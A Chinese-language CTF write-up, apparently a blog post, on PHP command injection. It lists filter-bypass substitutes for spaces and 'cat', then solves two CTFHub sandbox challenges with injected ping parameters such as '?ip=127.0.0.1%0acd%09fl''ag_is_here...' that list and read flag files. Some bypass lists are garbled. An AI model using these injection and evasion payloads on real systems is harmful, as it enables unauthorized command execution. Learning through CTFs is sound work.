ctf命令执行


前言

这里整理了一下基础题常用的过滤替代后续等深入学习时会再大幅不冲.
入门的话推荐ctfhub命令执行,上面有基础题适合小白入门比如还没入门的我wuwu…

当应用需要调用一些外部程序去处理内容时,会用到一些执行系统命令的函数。
如php中的system、exec、shell_exec等
当用户可以控制命令执行函数中的参数时,将可以注入 恶意系统命令到正常命令中,造成命令执行攻击
调用这些函数执行系统命令时,如果将用户的输入作为系统命令的参数拼接到命令行中,有没有过滤用户输入的情况下,就会造成命令执行漏洞(这句很好直接搬)

一、知识要点

空格过滤替换品(常用为以下几个)

  1. %09(Tab键)
  2. I F S , IFS, IFS,IFS 9 , 9, 9,{IFS},$IFS
  3. < <> 重定向符

cat过滤替换品

  1. more:一页一页的显示内容(linux环境下文本内容太多可以分页显示
  2. less:与 more 类似
  3. tac:从最后一行开始显示,tac 是 cat 的反向显示
  4. nl:显示的时候,顺便输出行号

让命令得到回显用分割符

; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行

命令执行函数(system和passthru函数会得到回显 其他要echo来得到输出

  1. system():同 C 版本的 system() 函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。

  2. passthru():只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。

  3. exec():不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
    shell_exec():是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出。

  4. 反引号 同shell_exec()

二、举栗子

1.CTFHub 技能树 综合过滤

ctfhub综合过滤

可以看到这里有一大串过滤 ~烦!!!😦

if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m))

常规思路传个ip:

?ip=127.0.0.1%0als

Array (
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index.php )

可以看到flag字眼,用命令cd flag_is_here进入目录用%0a代替;用%09代替空格这里太多种了随便给出几种

?ip=127.0.0.1%0acd%09fl''ag_is_here%0als
?ip=127.0.0.1%0acd$IFSfl''ag_is_here%0als
?ip=127.0.0.1%0acd${IFS}fl''ag_is_here%0als
?ip=127.0.0.1%0acd${IFS}fl''ag_is_here%0als

结果为
在这里插入图片描述
看到有两个flag文件进入flag可以用cd%09fla*查看内容

http://challenge-1c380915c8009f61.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acd$>fl''ag_is_here%0als

然后就得到flag就行在这里插入图片描述

http://challenge-1c380915c8009f61.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0acd%09fl''ag_is_here%0aca''t%09fl''ag_17391581825778.php

查看源代码得到flag在这里插入图片描述

2.CTFHub 第一题

附上一道简单题
http://challenge-4d715212e9f37db2.sandbox.ctfhub.com:10080/?ip=1;ls

在这里插入图片描述

一看flag就在那一串数字里面 继续构造
查看源码得到flag 没有什么过滤最简单了:)

http://challenge-4d715212e9f37db2.sandbox.ctfhub.com:10080/?ip=1;cat 225432635120642.php

在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值